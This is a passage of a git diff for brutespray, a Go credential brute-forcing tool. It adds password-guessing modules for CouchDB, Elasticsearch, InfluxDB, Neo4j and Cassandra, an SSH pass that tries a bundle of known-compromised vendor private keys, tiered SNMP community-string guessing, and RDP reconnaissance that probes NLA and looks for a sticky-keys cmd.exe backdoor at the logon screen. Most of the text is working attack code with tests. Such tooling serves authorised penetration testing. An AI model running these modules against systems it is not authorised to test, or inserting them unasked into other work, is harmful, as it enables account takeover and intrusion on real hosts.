}) +} + +func init() { Register("cassandra", BruteCassandra) } diff --git a/brute/cassandra_test.go b/brute/cassandra_test.go new file mode 100644 index 0000000..e95160a --- /dev/null +++ b/brute/cassandra_test.go @@ -0,0 +1,22 @@ +package brute + +import ( + "testing" + "time" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func TestBruteCassandraNoServer(t *testing.T) { + cm, _ := modules.NewConnectionManager("", 1*time.Second, "") + r := BruteCassandra("127.0.0.1", 1, "cassandra", "cassandra", 1*time.Second, cm, nil) + if r.ConnectionSuccess { + t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r) + } +} + +func TestBruteCassandraRegistered(t *testing.T) { + if !IsRegistered("cassandra") { + t.Fatal("cassandra module not registered") + } +} diff --git a/brute/couchdb.go b/brute/couchdb.go new file mode 100644 index 0000000..423aeb3 --- /dev/null +++ b/brute/couchdb.go @@ -0,0 +1,54 @@ +package brute + +import ( + "context" + "fmt" + "net" + "net/http" + "net/url" + "strconv" + "strings" + "time" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func BruteCouchDB(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult { + return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult { + scheme := "http" + if params["tls"] == "true" { + scheme = "https" + } + endpoint := fmt.Sprintf("%s://%s/_session", scheme, net.JoinHostPort(host, strconv.Itoa(port))) + tr := &http.Transport{ + DialContext: func(_ context.Context, network, addr string) (net.Conn, error) { + return cm.Dial(network, addr) + }, + DisableKeepAlives: true, + } + cl := &http.Client{Transport: tr, Timeout: timeout} + form := url.Values{"name": {user}, "password": {password}} + req, err := http.NewRequestWithContext(ctx, "POST", endpoint, strings.NewReader(form.Encode())) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + resp, err := cl.Do(req) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + defer resp.Body.Close() + switch resp.StatusCode { + case 200: + return &BruteResult{AuthSuccess: true, ConnectionSuccess: true} + case 401: + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, + Error: fmt.Errorf("couchdb 401")} + default: + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, + Error: fmt.Errorf("couchdb status %d", resp.StatusCode)} + } + }) +} + +func init() { Register("couchdb", BruteCouchDB) } diff --git a/brute/couchdb_test.go b/brute/couchdb_test.go new file mode 100644 index 0000000..f814df6 --- /dev/null +++ b/brute/couchdb_test.go @@ -0,0 +1,22 @@ +package brute + +import ( + "testing" + "time" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func TestBruteCouchDBNoServer(t *testing.T) { + cm, _ := modules.NewConnectionManager("", 1*time.Second, "") + r := BruteCouchDB("127.0.0.1", 1, "admin", "admin", 1*time.Second, cm, nil) + if r.ConnectionSuccess { + t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r) + } +} + +func TestBruteCouchDBRegistered(t *testing.T) { + if !IsRegistered("couchdb") { + t.Fatal("couchdb module not registered") + } +} diff --git a/brute/elasticsearch.go b/brute/elasticsearch.go new file mode 100644 index 0000000..02dc22f --- /dev/null +++ b/brute/elasticsearch.go @@ -0,0 +1,51 @@ +package brute + +import ( + "context" + "fmt" + "net" + "net/http" + "strconv" + "time" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func BruteElasticsearch(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult { + return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult { + scheme := "http" + if params["tls"] == "true" { + scheme = "https" + } + endpoint := fmt.Sprintf("%s://%s/_cluster/health", scheme, net.JoinHostPort(host, strconv.Itoa(port))) + tr := &http.Transport{ + DialContext: func(_ context.Context, network, addr string) (net.Conn, error) { + return cm.Dial(network, addr) + }, + DisableKeepAlives: true, + } + cl := &http.Client{Transport: tr, Timeout: timeout} + req, err := http.NewRequestWithContext(ctx, "GET", endpoint, nil) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + req.SetBasicAuth(user, password) + resp, err := cl.Do(req) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + defer resp.Body.Close() + switch resp.StatusCode { + case 200: + return &BruteResult{AuthSuccess: true, ConnectionSuccess: true} + case 401, 403: + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, + Error: fmt.Errorf("elasticsearch %d", resp.StatusCode)} + default: + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, + Error: fmt.Errorf("elasticsearch status %d", resp.StatusCode)} + } + }) +} + +func init() { Register("elasticsearch", BruteElasticsearch) } diff --git a/brute/elasticsearch_test.go b/brute/elasticsearch_test.go new file mode 100644 index 0000000..ed0c4cf --- /dev/null +++ b/brute/elasticsearch_test.go @@ -0,0 +1,22 @@ +package brute + +import ( + "testing" + "time" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func TestBruteElasticsearchNoServer(t *testing.T) { + cm, _ := modules.NewConnectionManager("", 1*time.Second, "") + r := BruteElasticsearch("127.0.0.1", 1, "elastic", "elastic", 1*time.Second, cm, nil) + if r.ConnectionSuccess { + t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r) + } +} + +func TestBruteElasticsearchRegistered(t *testing.T) { + if !IsRegistered("elasticsearch") { + t.Fatal("elasticsearch module not registered") + } +} diff --git a/brute/influxdb.go b/brute/influxdb.go new file mode 100644 index 0000000..f0b14be --- /dev/null +++ b/brute/influxdb.go @@ -0,0 +1,64 @@ +package brute + +import ( + "context" + "fmt" + "net" + "net/http" + "strconv" + "time" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +// BruteInfluxDB targets InfluxDB. v2 (default): `password` is the InfluxDB +// token; the endpoint /api/v2/orgs returns 200 on valid auth, 401 on invalid. +// v1: pass `-m mode:v1` to use /ping with HTTP basic auth instead. +func BruteInfluxDB(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult { + return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult { + scheme := "http" + if params["tls"] == "true" { + scheme = "https" + } + v1 := params["mode"] == "v1" + var endpoint string + if v1 { + endpoint = fmt.Sprintf("%s://%s/ping", scheme, net.JoinHostPort(host, strconv.Itoa(port))) + } else { + endpoint = fmt.Sprintf("%s://%s/api/v2/orgs", scheme, net.JoinHostPort(host, strconv.Itoa(port))) + } + tr := &http.Transport{ + DialContext: func(_ context.Context, network, addr string) (net.Conn, error) { + return cm.Dial(network, addr) + }, + DisableKeepAlives: true, + } + cl := &http.Client{Transport: tr, Timeout: timeout} + req, err := http.NewRequestWithContext(ctx, "GET", endpoint, nil) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + if v1 { + req.SetBasicAuth(user, password) + } else { + req.Header.Set("Authorization", "Token "+password) + } + resp, err := cl.Do(req) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + defer resp.Body.Close() + switch resp.StatusCode { + case 200, 204: + return &BruteResult{AuthSuccess: true, ConnectionSuccess: true} + case 401, 403: + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, + Error: fmt.Errorf("influxdb %d", resp.StatusCode)} + default: + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, + Error: fmt.Errorf("influxdb status %d", resp.StatusCode)} + } + }) +} + +func init() { Register("influxdb", BruteInfluxDB) } diff --git a/brute/influxdb_test.go b/brute/influxdb_test.go new file mode 100644 index 0000000..14a3d01 --- /dev/null +++ b/brute/influxdb_test.go @@ -0,0 +1,31 @@ +package brute + +import ( + "testing" + "time" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func TestBruteInfluxDBNoServer(t *testing.T) { + cm, _ := modules.NewConnectionManager("", 1*time.Second, "") + r := BruteInfluxDB("127.0.0.1", 1, "admin", "admin", 1*time.Second, cm, nil) + if r.ConnectionSuccess { + t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r) + } +} + +func TestBruteInfluxDBRegistered(t *testing.T) { + if !IsRegistered("influxdb") { + t.Fatal("influxdb module not registered") + } +} + +func TestBruteInfluxDBV1Mode(t *testing.T) { + cm, _ := modules.NewConnectionManager("", 1*time.Second, "") + r := BruteInfluxDB("127.0.0.1", 1, "admin", "admin", 1*time.Second, cm, ModuleParams{"mode": "v1"}) + // Just confirm v1 path doesn't panic on closed-port path + if r.ConnectionSuccess { + t.Fatalf("v1 mode: expected ConnectionSuccess=false, got %+v", r) + } +} diff --git a/brute/neo4j.go b/brute/neo4j.go new file mode 100644 index 0000000..bb35368 --- /dev/null +++ b/brute/neo4j.go @@ -0,0 +1,46 @@ +package brute + +import ( + "context" + "fmt" + "strings" + "time" + + "github.com/neo4j/neo4j-go-driver/v5/neo4j" + "github.com/neo4j/neo4j-go-driver/v5/neo4j/config" + "github.com/x90skysn3k/brutespray/v2/modules" +) + +// BruteNeo4j attempts to authenticate against a Neo4j Bolt v5 server. +// +// Note: neo4j-go-driver/v5 does not expose a custom net.Dialer on the public +// Config API, so proxy/interface routing via cm does not apply to Neo4j +// attempts. The cm parameter is accepted for interface consistency but unused. +func BruteNeo4j(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult { + return RunWithTimeout(timeout, func(ctx context.Context) *BruteResult { + uri := fmt.Sprintf("bolt://%s:%d", host, port) + driver, err := neo4j.NewDriverWithContext(uri, neo4j.BasicAuth(user, password, ""), + func(c *config.Config) { + c.SocketConnectTimeout = timeout + }) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + defer driver.Close(ctx) + + err = driver.VerifyConnectivity(ctx) + if err != nil { + msg := err.Error() + if strings.Contains(msg, "AuthenticationRateLimit") || + strings.Contains(msg, "Unauthorized") || + strings.Contains(msg, "credentials") || + strings.Contains(msg, "Neo.ClientError.Security.Unauthorized") { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, Error: err} + } + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + return &BruteResult{AuthSuccess: true, ConnectionSuccess: true} + }) +} + +func init() { Register("neo4j", BruteNeo4j) } diff --git a/brute/neo4j_test.go b/brute/neo4j_test.go new file mode 100644 index 0000000..f0d36db --- /dev/null +++ b/brute/neo4j_test.go @@ -0,0 +1,22 @@ +package brute + +import ( + "testing" + "time" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func TestBruteNeo4jNoServer(t *testing.T) { + cm, _ := modules.NewConnectionManager("", 1*time.Second, "") + r := BruteNeo4j("127.0.0.1", 1, "neo4j", "neo4j", 1*time.Second, cm, nil) + if r.ConnectionSuccess { + t.Fatalf("expected ConnectionSuccess=false against closed port, got %+v", r) + } +} + +func TestBruteNeo4jRegistered(t *testing.T) { + if !IsRegistered("neo4j") { + t.Fatal("neo4j module not registered") + } +} diff --git a/brute/rdp.go b/brute/rdp.go index ccbfc4f..fa0a727 100644 --- a/brute/rdp.go +++ b/brute/rdp.go @@ -1,11 +1,15 @@ package brute import ( + "bytes" "context" "errors" "fmt" + "image" + _ "image/png" "io" "log" + "os" "time" "github.com/x90skysn3k/brutespray/v2/modules" @@ -52,3 +56,139 @@ func BruteRDP(host string, port int, user, password string, timeout time.Duratio } func init() { Register("rdp", BruteRDP) } + +func nlaFinding(status string) *Finding { + switch status { + case "required": + return &Finding{Severity: "INFO", Code: "rdp-nla-required", + Message: "NLA (CredSSP) enforced"} + case "not-enforced": + return &Finding{Severity: "WARN", Code: "rdp-nla-missing", + Message: "NLA not enforced — server accepts standard RDP without pre-auth"} + case "hybrid-ex": + return &Finding{Severity: "INFO", Code: "rdp-nla-hybridex", + Message: "HybridEx (NLA + CredSSP early-user auth) enforced"} + } + return nil +} + +// ScanRDPRecon runs pre-auth RDP recon (NLA fingerprint, sticky-keys probe) +// against a single target. Returns a slice of findings to emit. Called once +// per host by the dispatcher before any brute attempts. +func ScanRDPRecon(host string, port int, timeout time.Duration) []*Finding { + target := fmt.Sprintf("%s:%d", host, port) + ctx, cancel := context.WithTimeout(context.Background(), timeout) + defer cancel() + status, err := client.FingerprintNLA(ctx, target, timeout) + if err != nil { + return nil + } + var out []*Finding + switch status { + case client.NLARequired: + out = append(out, nlaFinding("required")) + case client.NLANotEnforced: + out = append(out, nlaFinding("not-enforced")) + case client.NLAHybridEx: + out = append(out, nlaFinding("hybrid-ex")) + } + // Sticky-keys probe: only meaningful when the server accepts standard RDP + // (no NLA), because that's the only mode where the GINA/logon screen is + // reachable without credentials. + if status == client.NLANotEnforced { + c := &client.RdpClient{} + before, after, stickyErr := c.CaptureLogonScreen(ctx, target, client.TriggerShift5x, timeout) + c.Close() + if stickyErr == nil { + if f := stickyKeysVerdict( + looksLikeCmdConsole(before), + looksLikeCmdConsole(after), + framebuffersDiffer(before, after), + ); f != nil { + out = append(out, f) + } + } else { + // Probe error suppressed from output — emitting a stickykeys + // finding without a successful capture would mislead. Diagnostics + // land on stderr for operators who care. + fmt.Fprintf(os.Stderr, "rdp sticky-keys probe %s: %v\n", target, stickyErr) + } + } + return out +} + +// stickyKeysVerdict produces a Finding (or nil) from the before/after analysis. +func stickyKeysVerdict(beforeCmd, afterCmd, differ bool) *Finding { + if !differ { + return nil + } + if afterCmd && !beforeCmd { + return &Finding{ + Severity: "CRITICAL", + Code: "rdp-stickykeys", + Message: "sticky-keys backdoor detected (cmd.exe shell at logon screen)", + } + } + return &Finding{ + Severity: "INFO", + Code: "rdp-stickykeys-inconclusive", + Message: "logon screen reacted to sticky-keys trigger but no console signature detected; manual verification recommended", + } +} + +// looksLikeCmdConsole applies a pixel-ratio heuristic to a PNG-encoded +// framebuffer snapshot: a cmd.exe window in its default colour scheme +// covers the top-left region of the screen with predominantly black +// pixels (background) and a small proportion of white pixels (text). +func looksLikeCmdConsole(pngBytes []byte) bool { + if len(pngBytes) == 0 { + return false + } + img, _, err := image.Decode(bytes.NewReader(pngBytes)) + if err != nil { + return false + } + b := img.Bounds() + maxX := b.Min.X + 400 + if maxX > b.Max.X { + maxX = b.Max.X + } + maxY := b.Min.Y + 200 + if maxY > b.Max.Y { + maxY = b.Max.Y + } + var total, black, white int + for y := b.Min.Y; y < maxY; y++ { + for x := b.Min.X; x < maxX; x++ { + r, g, bl, _ := img.At(x, y).RGBA() + r >>= 8 + g >>= 8 + bl >>= 8 + total++ + switch { + case r < 32 && g < 32 && bl < 32: + black++ + case r > 200 && g > 200 && bl > 200: + white++ + } + } + } + if total == 0 { + return false + } + blackPct := float64(black) / float64(total) + whitePct := float64(white) / float64(total) + return blackPct > 0.65 && whitePct > 0.02 && whitePct < 0.15 +} + +// framebuffersDiffer reports whether two PNG-encoded framebuffer snapshots +// differ at the byte level. A length difference also counts as a difference. +func framebuffersDiffer(a, b []byte) bool { + if len(a) == 0 || len(b) == 0 { + return false + } + if len(a) != len(b) { + return true + } + return !bytes.Equal(a, b) +} diff --git a/brute/rdp_nla_test.go b/brute/rdp_nla_test.go new file mode 100644 index 0000000..067bbd2 --- /dev/null +++ b/brute/rdp_nla_test.go @@ -0,0 +1,28 @@ +package brute + +import "testing" + +func TestNLAFindingFromStatus(t *testing.T) { + cases := []struct { + status string + wantSev string + wantCode string + }{ + {"required", "INFO", "rdp-nla-required"}, + {"not-enforced", "WARN", "rdp-nla-missing"}, + {"hybrid-ex", "INFO", "rdp-nla-hybridex"}, + {"unknown", "", ""}, + } + for _, c := range cases { + f := nlaFinding(c.status) + if c.wantCode == "" { + if f != nil { + t.Fatalf("status %q: expected nil finding, got %+v", c.status, f) + } + continue + } + if f == nil || f.Severity != c.wantSev || f.Code != c.wantCode { + t.Fatalf("status %q: got %+v want sev=%s code=%s", c.status, f, c.wantSev, c.wantCode) + } + } +} diff --git a/brute/rdp_stickykeys_test.go b/brute/rdp_stickykeys_test.go new file mode 100644 index 0000000..dff659f --- /dev/null +++ b/brute/rdp_stickykeys_test.go @@ -0,0 +1,54 @@ +package brute + +import "testing" + +func TestStickyKeysVerdictFromFlags(t *testing.T) { + cases := []struct { + name string + beforeIsCmdLike bool + afterIsCmdLike bool + differ bool + wantSev string + wantCode string + }{ + {"identical-no-change", false, false, false, "", ""}, + {"change-but-not-cmd", false, false, true, "INFO", "rdp-stickykeys-inconclusive"}, + {"change-to-cmd", false, true, true, "CRITICAL", "rdp-stickykeys"}, + } + for _, c := range cases { + got := stickyKeysVerdict(c.beforeIsCmdLike, c.afterIsCmdLike, c.differ) + if c.wantCode == "" { + if got != nil { + t.Fatalf("%s: want nil, got %+v", c.name, got) + } + continue + } + if got == nil || got.Severity != c.wantSev || got.Code != c.wantCode { + t.Fatalf("%s: got %+v want sev=%s code=%s", c.name, got, c.wantSev, c.wantCode) + } + } +} + +func TestFramebuffersDiffer(t *testing.T) { + if framebuffersDiffer(nil, nil) { + t.Fatal("nil != nil") + } + if !framebuffersDiffer([]byte{1, 2, 3}, []byte{1, 2, 4}) { + t.Fatal("differ failed") + } + if framebuffersDiffer([]byte{1, 2, 3}, []byte{1, 2, 3}) { + t.Fatal("same flagged differ") + } + if !framebuffersDiffer([]byte{1, 2, 3}, []byte{1, 2, 3, 4}) { + t.Fatal("length diff missed") + } +} + +func TestLooksLikeCmdConsoleOnGarbage(t *testing.T) { + if looksLikeCmdConsole(nil) { + t.Fatal("nil should be false") + } + if looksLikeCmdConsole([]byte("not a png")) { + t.Fatal("garbage should be false") + } +} diff --git a/brute/result_test.go b/brute/result_test.go new file mode 100644 index 0000000..1fe4fe3 --- /dev/null +++ b/brute/result_test.go @@ -0,0 +1,37 @@ +package brute + +import "testing" + +func TestBruteResultCarriesFinding(t *testing.T) { + // shows Finding can coexist with non-auth result + r := &BruteResult{ + ConnectionSuccess: true, + Finding: &Finding{ + Severity: "CRITICAL", + Code: "rdp-stickykeys", + Message: "sticky-keys backdoor detected", + }, + } + if r.Finding == nil || r.Finding.Code != "rdp-stickykeys" { + t.Fatalf("Finding not carried on BruteResult") + } +} + +func TestBruteResultCarriesKeyMatch(t *testing.T) { + // success path: KeyMatch + AuthSuccess together + r := &BruteResult{ + AuthSuccess: true, + ConnectionSuccess: true, + KeyMatch: &KeyMatch{ + Fingerprint: "SHA256:abc", + Vendor: "Vagrant", + CVE: "CVE-2015-1338", + }, + } + if r.KeyMatch == nil || r.KeyMatch.Vendor != "Vagrant" { + t.Fatalf("KeyMatch not carried on BruteResult") + } + if r.KeyMatch.CVE != "CVE-2015-1338" { + t.Fatalf("KeyMatch.CVE = %q, want CVE-2015-1338", r.KeyMatch.CVE) + } +} diff --git a/brute/run.go b/brute/run.go index f55e734..f63eaeb 100644 --- a/brute/run.go +++ b/brute/run.go @@ -27,6 +27,8 @@ type BruteResult struct { Banner string // service banner if captured RetryDelay time.Duration // if > 0, module requests this delay before next retry (e.g. VNC anti-brute) SkipUser bool // if true, skip remaining passwords for this user (e.g. FTP 530 user-not-found) + Finding *Finding // pre-auth recon result, nil if none + KeyMatch *KeyMatch // SSH bad-key match, nil if none } // CircuitBreaker tracks consecutive connection failures per host and trips @@ -219,6 +221,10 @@ func RunBrute(h modules.Host, u string, p string, timeout time.Duration, maxRetr if result { // Authentication succeeded modules.RecordSuccess(service, h.Host, h.Port, u, p, time.Since(startTime), modResult.Banner) + if modResult.KeyMatch != nil { + modules.PrintBadKeyResult(service, h.Host, h.Port, u, + modResult.KeyMatch.Vendor, modResult.KeyMatch.CVE, modResult.KeyMatch.Description) + } } else { // Authentication failed modules.RecordError(false) // Authentication error @@ -259,5 +265,12 @@ func RunBrute(h modules.Host, u string, p string, timeout time.Duration, maxRetr } modules.PrintResult(service, h.Host, h.Port, u, p, modResult.AuthSuccess, modResult.ConnectionSuccess, false, output, 0, modResult.Banner) - return BruteResult{AuthSuccess: modResult.AuthSuccess, ConnectionSuccess: modResult.ConnectionSuccess, Banner: modResult.Banner, SkipUser: modResult.SkipUser} + return BruteResult{ + AuthSuccess: modResult.AuthSuccess, + ConnectionSuccess: modResult.ConnectionSuccess, + Banner: modResult.Banner, + SkipUser: modResult.SkipUser, + Finding: modResult.Finding, + KeyMatch: modResult.KeyMatch, + } } diff --git a/brute/snmp.go b/brute/snmp.go index 9578441..383db27 100644 --- a/brute/snmp.go +++ b/brute/snmp.go @@ -24,7 +24,16 @@ func BruteSNMP(host string, port int, user, password string, timeout time.Durati hasher.Write([]byte(password)) md5Password := hex.EncodeToString(hasher.Sum(nil)) - communityStrings := []string{user, md5Password} + var communityStrings []string + tier := params["mode"] + if tier != "" { + if tierList, terr := modules.SNMPCommunities(tier); terr == nil { + communityStrings = tierList + } + } + if len(communityStrings) == 0 { + communityStrings = []string{user, md5Password} + } // Pre-dial to check connectivity (UDP proxy not supported) udpConn, err := cm.DialUDP("udp", fmt.Sprintf("%s:%d", host, port)) diff --git a/brute/snmp_tier_test.go b/brute/snmp_tier_test.go new file mode 100644 index 0000000..155c2db --- /dev/null +++ b/brute/snmp_tier_test.go @@ -0,0 +1,47 @@ +package brute + +import ( + "testing" + + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func TestSNMPCommunitiesTiersIncreasing(t *testing.T) { + def, err := modules.SNMPCommunities("default") + if err != nil { + t.Fatalf("default: %v", err) + } + ext, err := modules.SNMPCommunities("extended") + if err != nil { + t.Fatalf("extended: %v", err) + } + full, err := modules.SNMPCommunities("full") + if err != nil { + t.Fatalf("full: %v", err) + } + if !(len(def) > 0 && len(def) < len(ext) && len(ext) < len(full)) { + t.Fatalf("tier sizes should strictly increase: default=%d extended=%d full=%d", + len(def), len(ext), len(full)) + } +} + +func TestSNMPCommunitiesUnknownTierFallback(t *testing.T) { + got, err := modules.SNMPCommunities("nonsense") + if err != nil { + t.Fatalf("unknown tier should not error: %v", err) + } + def, _ := modules.SNMPCommunities("default") + if len(got) != len(def) { + t.Fatalf("unknown tier should match default size: got %d, default %d", len(got), len(def)) + } +} + +func TestSNMPCommunitiesIncludesPublic(t *testing.T) { + got, _ := modules.SNMPCommunities("default") + for _, c := range got { + if c == "public" { + return + } + } + t.Fatal("'public' should be in the default community list") +} diff --git a/brute/ssh.go b/brute/ssh.go index 10d0358..e3d5a9f 100644 --- a/brute/ssh.go +++ b/brute/ssh.go @@ -4,18 +4,69 @@ import ( "fmt" "net" "os" + "strconv" "strings" "sync" "time" + "github.com/x90skysn3k/brutespray/v2/brute/badkeys" "github.com/x90skysn3k/brutespray/v2/modules" "golang.org/x/crypto/ssh" ) +// BadKeyAttempt is one user+key pair to try during the bad-keys pass. +type BadKeyAttempt struct { + Username string + Entry badkeys.Entry +} + +// PlanBadKeyAttempts produces the ordered list of SSH bad-key attempts for a +// host. When userOverride is non-empty (operator passed -u explicitly), every +// attempt uses that username; otherwise the entry's metadata-suggested user +// is used (root for F5, vagrant for Vagrant, etc.). +func PlanBadKeyAttempts(bundle []badkeys.Entry, userOverride string) []BadKeyAttempt { + out := make([]BadKeyAttempt, 0, len(bundle)) + for _, e := range bundle { + u := e.Username + if userOverride != "" { + u = userOverride + } + out = append(out, BadKeyAttempt{Username: u, Entry: e}) + } + return out +} + +// badKeyMarker is the synthetic password prefix used by the dispatcher to +// signal a bad-keys bundle attempt. The dispatcher emits passwords of the form +// "::badkey::" before the user's actual password list, and BruteSSH +// dispatches them to attemptBadKey. INTERNAL — not part of any public contract. +const badKeyMarker = "::badkey::" + // sshKeyCache caches key file contents to avoid re-reading on every attempt. var sshKeyCache sync.Map func BruteSSH(host string, port int, user, password string, timeout time.Duration, cm *modules.ConnectionManager, params ModuleParams) *BruteResult { + // Bad-keys pre-pass: when the magic password marker "::badkey::" is in play, + // the caller is asking us to attempt a single embedded bad-key. The dispatcher + // (Task A4) emits these as synthetic credential pairs before regular passwords. + if idxStr, ok := strings.CutPrefix(password, badKeyMarker); ok { + idx, err := strconv.Atoi(idxStr) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, + Error: fmt.Errorf("invalid badkey index: %w", err)} + } + bundle, err := badkeys.Load() + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, + Error: fmt.Errorf("loading badkeys bundle: %w", err)} + } + if idx < 0 || idx >= len(bundle) { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, + Error: fmt.Errorf("badkey index out of range: %d", idx)} + } + return attemptBadKey(host, port, user, bundle[idx], timeout, cm) + } + var authMethod ssh.AuthMethod keyParam := params["key"] @@ -153,4 +204,51 @@ func BruteSSH(host string, port int, user, password string, timeout time.Duratio } } +func attemptBadKey(host string, port int, user string, e badkeys.Entry, + timeout time.Duration, cm *modules.ConnectionManager) *BruteResult { + // Fix 2: PEM parsing happens before any network I/O; a parse failure must + // not set ConnectionSuccess=true (no network was touched, circuit-breaker + // must not be credited with a success counter). + signer, err := ssh.ParsePrivateKey(e.PEM) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, + Error: fmt.Errorf("parsing badkey %s: %w", e.File, err)} + } + cfg := &ssh.ClientConfig{ + User: user, + Auth: []ssh.AuthMethod{ssh.PublicKeys(signer)}, + HostKeyCallback: ssh.InsecureIgnoreHostKey(), + } + conn, err := cm.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port))) + if err != nil { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + // Fix 1: ssh.ClientConfig.Timeout is only honoured by ssh.Dial, not by + // ssh.NewClientConn. Set a deadline on the raw connection so a slow + // responder cannot stall this worker goroutine for the OS socket timeout. + _ = conn.SetDeadline(time.Now().Add(timeout)) + c, chans, reqs, err := ssh.NewClientConn(conn, net.JoinHostPort(host, strconv.Itoa(port)), cfg) + if err != nil { + conn.Close() + if strings.Contains(err.Error(), "unable to authenticate") { + return &BruteResult{AuthSuccess: false, ConnectionSuccess: true, Error: err} + } + return &BruteResult{AuthSuccess: false, ConnectionSuccess: false, Error: err} + } + client := ssh.NewClient(c, chans, reqs) + defer client.Close() + // Fix 3: capture server banner (high-value for a bad-key hit). + return &BruteResult{ + AuthSuccess: true, + ConnectionSuccess: true, + Banner: string(c.ServerVersion()), + KeyMatch: &KeyMatch{ + Fingerprint: e.PEMHash, + Vendor: e.Vendor, + CVE: e.CVE, + Description: e.Description, + }, + } +} + func init() { Register("ssh", BruteSSH) } diff --git a/brute/ssh_badkeys_test.go b/brute/ssh_badkeys_test.go new file mode 100644 index 0000000..3ae4736 --- /dev/null +++ b/brute/ssh_badkeys_test.go @@ -0,0 +1,70 @@ +package brute + +import ( + "testing" + "time" + + "github.com/x90skysn3k/brutespray/v2/brute/badkeys" + "github.com/x90skysn3k/brutespray/v2/modules" +) + +func TestBadKeysPlanCoversBundle(t *testing.T) { + bundle, err := badkeys.Load() + if err != nil { + t.Fatalf("badkeys.Load: %v", err) + } + plan := PlanBadKeyAttempts(bundle, "") + if len(plan) != len(bundle) { + t.Fatalf("plan size = %d, bundle = %d", len(plan), len(bundle)) + } + for _, a := range plan { + if a.Username == "" { + t.Fatalf("attempt missing username: %+v", a) + } + } +} + +func TestBadKeysPlanRespectsExplicitUser(t *testing.T) { + bundle, err := badkeys.Load() + if err != nil { + t.Fatalf("badkeys.Load: %v", err) + } + plan := PlanBadKeyAttempts(bundle, "admin") + for _, a := range plan { + if a.Username != "admin" { + t.Fatalf("explicit username override failed: %s", a.Username) + } + } +} + +// TestAttemptBadKeyReturnsConnectionFailureOnBadPEM verifies that a corrupt +// PEM blob (which triggers a parse error before any network I/O) causes +// attemptBadKey to return ConnectionSuccess=false. Prior to the fix the +// function returned ConnectionSuccess=true, which incorrectly credited the +// circuit-breaker and broke the retry logic. +func TestAttemptBadKeyReturnsConnectionFailureOnBadPEM(t *testing.T) { + cm, err := modules.NewConnectionManager("", 5*time.Second) + if err != nil { + t.Fatalf("NewConnectionManager: %v", err) + } + + badEntry := badkeys.Entry{ + File: "test-invalid.pem", + Username: "root", + PEM: []byte("not a valid PEM key"), + } + + r := attemptBadKey("127.0.0.1", 22, "root", badEntry, 5*time.Second, cm) + if r == nil { + t.Fatal("attemptBadKey returned nil") + } + if r.ConnectionSuccess { + t.Error("expected ConnectionSuccess=false for bad PEM, got true") + } + if r.Error == nil { + t.Error("expected non-nil Error for bad PEM, got nil") + } + if r.AuthSuccess { + t.Error("expected AuthSuccess=false for bad PEM, got true") + } +} diff --git a/brute/types.go b/brute/types.go new file mode 100644 index 0000000..b0c97d3 --- /dev/null +++ b/brute/types.go @@ -0,0 +1,20 @@ +package brute + +// Finding represents a pre-auth recon result (e.g. SSH bad-key match, +// RDP NLA missing, RDP sticky-keys backdoor). Modules can return findings +// without a successful authentication attempt. +type Finding struct { + Severity string // INFO, WARN, HIGH, CRITICAL + Code string // e.g. "rdp-nla-missing", "rdp-stickykeys", "ssh-badkey" + Message string + CVE string // optional, e.g. "CVE-2012-1493" +} + +// KeyMatch records a successful SSH key authentication originating from +// the embedded bad-keys bundle. +type KeyMatch struct { + Fingerprint string + Vendor string + CVE string + Description string +} diff --git a/brutespray/brutespray.go b/brutespray/brutespray.go index 2bc7ae3..9c54014 100644 --- a/brutespray/brutespray.go +++ b/brutespray/brutespray.go @@ -12,11 +12,23 @@ import ( "github.com/x90skysn3k/brutespray/v2/brute" "github.com/x90skysn3k/brutespray/v2/modules" "github.com/x90skysn3k/brutespray/v2/tui" + "golang.org/x/term" ) func Execute() { cfg := ParseConfig() + // Read targets from stdin when -f is unset and stdin is piped (not a TTY). + // Auto-detects naabu/nerva URI/Nerva JSON/fingerprintx JSON/masscan JSON. + if cfg.File == "" && !term.IsTerminal(int(os.Stdin.Fd())) { + hosts, err := modules.ParseStream(os.Stdin) + if 